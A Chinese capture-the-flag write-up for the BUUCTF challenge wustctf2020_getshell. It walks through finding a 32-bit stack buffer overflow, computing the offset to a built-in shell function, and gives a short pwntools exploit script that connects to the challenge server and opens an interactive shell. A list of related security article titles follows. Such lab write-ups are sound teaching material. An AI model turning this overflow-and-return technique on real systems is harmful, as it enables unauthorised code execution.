buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
pps-key7 小时前
WiFi安全技术学习指南(合法合规版)
安全·网络安全·智能路由器
wqdian_com7 小时前
中文域名的准确展示能否堵住网络钓鱼攻击“后门”?
服务器·安全·php
pingao1413788 小时前
北斗GNSS技术:水库边坡位移安全监测的“千里眼”
安全
国科安芯8 小时前
低轨卫星姿态调整系统的抗辐照设计与工程实现
运维·网络·嵌入式硬件·安全·架构·安全威胁分析·risc-v
2401_835302488 小时前
压电陶瓷电性能检测,解锁核心器件安全密码
功能测试·科技·5g·安全·制造·材料工程
桌面运维家9 小时前
vDisk VOI/IDV:Windows启动性能优化与安全部署攻略
安全·性能优化
kp0000010 小时前
MD5介绍及安全建设防范
安全
pps-key11 小时前
2026年网络安全软件精选推荐
计算机网络·安全·web安全·网络安全
世界尽头与你11 小时前
CVE-2025-4123_ Grafana 安全漏洞
安全·网络安全·渗透测试·grafana
Gofarlic_OMS11 小时前
协同设计平台中PTC许可证的高效调度策略
网络·数据库·安全·oracle·aigc